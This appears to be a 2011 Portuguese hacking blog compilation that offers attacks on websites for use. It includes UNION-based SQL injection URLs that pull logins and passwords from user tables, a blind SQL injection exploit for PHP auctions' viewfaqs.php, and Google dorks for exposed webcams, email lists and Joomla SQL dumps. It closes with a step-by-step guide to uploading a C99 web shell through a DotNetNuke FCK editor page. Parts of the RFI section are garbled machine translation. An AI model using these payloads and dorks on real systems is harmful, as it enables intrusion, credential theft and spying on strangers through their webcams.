www.site.com.br/informativos.php?id=null+union+all+select+1,2,3,group_concat(column_name),5

+from+information_schema.columns+where+table_name=0x72656e616e5f7573756172696f73
Retornaria-nos as seguintes colunas postas na pagina de uma tabela :
id,login,senha,email,status


Comandos:
group_concat(column_name)
+from+information_schema.column+where+table_schema=database()--


=====—————————————————-=====


2º Metodo:
Nesse metodo as tabelas estam em decadecimal
Usaremos o limit que funcionara para selecionar as linhas conforme o database
+limit+0,1–

+limit+1,2–

+limit+2,1–

+limit+3,2–

+limit+4,3–
etc…


www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,concat(table_name),5

+from+information_schema.tables+limit+0,1--
Retornaria-nos a seguinte tabelas posta na pagina :
CHARACTER_SETS
Para poder achar as tabelas de logins voce alternaria o limit como acima.
Comandos:
concat(table_name)

+from+information_schema.tables+limit+0,1--



renan_usuarios char(114,101,110,97,110,95,117,115,117,97,114,105,111,115)


www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,concat(column_name),5

+from+information_schema.columns where table_name=

char(114,101,110,97,110,95,117,115,117,97,114,105,111,115)+limit+0,1--
Retornaria-nos a seguinte coluna posta na pagina de uma tabela :
id
Para poder achar as colunas da tabela voce alternaria o limit como acima.
Comandos:
concat(column_name)

+from+information_schema.columns where table_name=char(tabela_em_decimal)+limit+0,1–


e por fim mostrando os dados de logins
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,

concat(login,0x20,senha),5+from+renan_usuarios

Fonte:http://www.codigopronto.com.br/

terça-feira, 25 de janeiro de 2011

Busca de webcans online

webcan hacking
Fiz essa string para aqueles que gostam de fuçar a vida do próximo  com esse código de busca temos acesso á Aproximadamente 79.900 resultados  (0,31 segundos), em nossa busca exclusão de site que contenham o termo hack,hacker,crack, assim nossa busca fica mais limpa e objetiva.
Quantidade:1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br
Código:
+inurl:/control/userimage.html -blog -hack -hacker -crack

String para buscar proxy uma lista

proxy


Proxy é um servidor que atende a requisições repassando os dados do cliente à frente. Um usuário (cliente) conecta-se a um servidor proxy, requisitando algum serviço, como um arquivo, conexão, website, ou outro recurso disponível em outro servidor.
Um servidor proxy pode, opcionalmente, alterar a requisição do cliente ou a resposta do servidor e, algumas vezes, pode disponibilizar este recurso sem nem mesmo se conectar ao servidor especificado. Pode também atuar como um servidor que armazena dados em forma de cache em redes de computadores. São instalados em máquinas com ligações tipicamente superiores às dos clientes e com poder de armazenamento elevado.
Esses servidores têm uma série de usos, como filtrar conteúdo, providenciar anonimato, entre outros.
Um HTTP caching proxy, por exemplo, permite que o cliente requisite um documento na World Wide Web e o proxy procura pelo documento em seu cache. Se encontrado, o documento é retornado imediatamente. Caso contrário, o proxy busca o documento no servidor remoto, entrega-o ao cliente e salva uma cópia no seu cache. Isso permite uma diminuição na latência, já que o servidor proxy, e não o servidor original, é acessado, proporcionando ainda uma redução do uso de banda.



Com isso temos conhecimento da importância de um proxy
criei um dork google pra busca destas listas de proxy disponíveis em sites

String dork
Quantidade:1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br
Código:
+":8080" +":3128" +":80" filetype:txt

Lista de proxy

Dorks para scanner de RFI

Remote File Inclusion

Remote File Inclusion (RFI) é um tipo de vulnerabilidade mais freqüentemente encontrados em sites, que permite a um atacante para incluir um arquivo remoto normalmente através de um script no servidor web . The vulnerability occurs due to the use of user supplied input without proper validation. A vulnerabilidade ocorre devido ao uso do produto fornecido a entrada do usuário sem a devida validação. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to: Isso pode levar a algo tão mínimo como saída o conteúdo do arquivo, mas dependendo da gravidade, para listar alguns, pode levar a:
Strings de RFI - INJECTION
uma pequena lista dorks 
Quantidade:Aproximadamente 596strings
Autor:Desconhecido
Fonte:goo.gl/5IPJM

domingo, 23 de janeiro de 2011

Vulnerabilidade em base de email

Vulnerabilidade em base de email
Vulnerabilidade em base de email com os termos "Mailbase +br txt" temos acesso a base de mail de vários sites com email brasileiros e internacionais no formato txt
Quantidade:Aproximadamente 1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com

Código:
inurl:mailbase +br ext:txt

String google Acessando arquivo .SQL de sites em joomla

String google Acessando arquivo .SQL de sites em joomla

Com os termos de pesquisa "+joomla +login +user +admin +pass" o google faz uma varredura atrás dos mesmo, tabelas de usuários;administradores;senhas são nosso alvo principal. geralmente as senhas de users são criptografadas com MD5  , Por isso recomendo alguns sites para descriptografia de senhas.
Quantidade:Aproximadamente 1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br
Código:
+joomla  +login|+user|+admin +pass ext:sql

Lista de Dork para Scanner de vulnerabilidade Joomla

Lista de Dork para Scanner de vulnerabilidade Joomla
Joomla! (pronuncia-se djumla) é um Sistema de gestão de conteúdos (Content Management System - CMS) desenvolvido a partir do CMS Mambo. É desenvolvido em PHP e pode ser executado no servidor Web Apache ou IIS e base de dados MySQL.
É um projeto de código aberto (licença GNU/GPL) e a sua última versão estável é a 1.5.21 (em 08 de Outubro de 2010); a sua última versão legada é a 1.0.15. O Joomla! é uma ferramenta de CMS muito poderosa, tendo recebido o "Linux Awards".

Lista de Dork para Scanner de vulnerabilidade Joomla
Quantidade:Aproximadamente 61 strings
Autor:Desconhecido
Fonte:Desconhecido

Strings de SQL - INJECTION

Strings de SQL - INJECTION
Structured Query Language, ou Linguagem de Consulta Estruturada ou SQL, é uma linguagem de pesquisa declarativa para banco de dados relacional (base de dados relacional). Muitas das características originais do SQL foram inspiradas na álgebra relacional.
O SQL foi desenvolvido originalmente no início dos anos 70 nos laboratórios da IBM em San Jose, dentro do projeto System R, que tinha por objetivo demonstrar a viabilidade da implementação do modelo relacional proposto por E. F. Codd. O nome original da linguagem era SEQUEL, acrônimo para "Structured English Query Language" (Linguagem de Consulta Estruturada em Inglês) [1], vindo daí o facto de, até hoje, a sigla, em inglês, ser comumente pronunciada "síquel" ao invés de "és-kiú-él", letra a letra. No entanto, em português, a pronúncia mais corrente é a letra a letra: "ésse-quê-éle".
A linguagem SQL é um grande padrão de banco de dados. Isto decorre da sua simplicidade e facilidade de uso. Ela se diferencia de outras linguagens de consulta a banco de dados no sentido em que uma consulta SQL especifica a forma do resultado e não o caminho para chegar a ele. Ela é uma linguagem declarativa em oposição a outras linguagens procedurais. Isto reduz o ciclo de aprendizado daqueles que se iniciam na linguagem.
Strings de SQL - INJECTION
uma pequena lista dorks 
Quantidade:Aproximadamente 127 strings
Autor:Desconhecido
Fonte:Desconhecido 

Ação PHP (viewfaqs.php) Tem Vulnerabilidade a Blind SQL Injection

Ação PHP  viewfaqs.php Tem Vulnerabilidade a  Blind SQL Injection

Vulnerabilidade divulgada
Data: 2011/01/21Divulgada pelos grupos: darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
 Exploit Code :  
==
[#]Script: PHP auctions
[
#]Version: n/a
[
#]Link: http://phpauctions.info
==
[
#]Author: BorN To K!LL - h4ck3r
==
[
#]3xploit:
/viewfaqs.php?cat=[Blind-Injection]

[
#]3xample:
/viewfaqs.php?cat=2 and substring(version(),1,1)=4 // false ,,
/viewfaqs.php?cat=2 and substring(version(),1,1)=5 // true ,,

Assim temos acesso a versão do DB do site
==
[
#]Greetings:
darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"

==

Código de busca google:
inurl:/viewfaqs.php?cat=2

Fonte:goo.gl/I6ayE

Scanneando com strings google e Invadindo site

Scanneando com strings google e Invadindo site

Com esse tutorial simples é rápido vamos aprender como fazer upload em sites rapidamente e depois ter acesso

Etapa 01 -
Acesse o www.google.com.br

Etapa 02 -
A busca use o código de pesquisa sabiamente.
Procure pelo seguinte termo
Código:
inurl:/tabid/36/language/en-US/Default.aspx

Etapa 03 -
Com a busca efetuada Aproximadamente 582 resultados (0,25 segundos) escolha um site de sua preferencia,
e substitua o termo "/tabid/36/language/en-US/Default.aspx" por,
Código:
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Exemplo:
www.site.com.br/tabid/36/language/en-US/Default.aspx      -01

www.site.com.br/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx -02


Etapa 04 -Você vai ter um link page.So Gallary onde pode criar urls para dentro dos site
Etapa 05 -Não faça nada por enquanto, abordando fase final.
"A caixa e parecida com essa."
PART 01 Scanneando com strings google e Invadindo site


Etapa 06 -
Agora substitua a URL na barra de endereços com um simples script
"delete o endereço do site e cole o código abaixo"
Código:
javascript:__doPostBack('ctlURL$cmdUpload','')

"Depois do script inserido na barra de endereços a caixa fica assim"
PART 02 Scanneando com strings google e Invadindo site



Etapa 07 -
Você vai encontrar a opção de Upload

Etapa 08 -
Selecione Raiz
  
Etapa 09 -
Envie seu pacote de Seu Shell C99, C100 etc..


OBS: todos esse processos foram feitos para que entenda como funciona
podemos ir deireto á fonte também.
Código:
intext:/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx 

ou

Código:
*Fck/fcklinkgallery.aspx 

 ou

Código:
intitle:"Link Gallery" +fcklinkgallery ext:aspx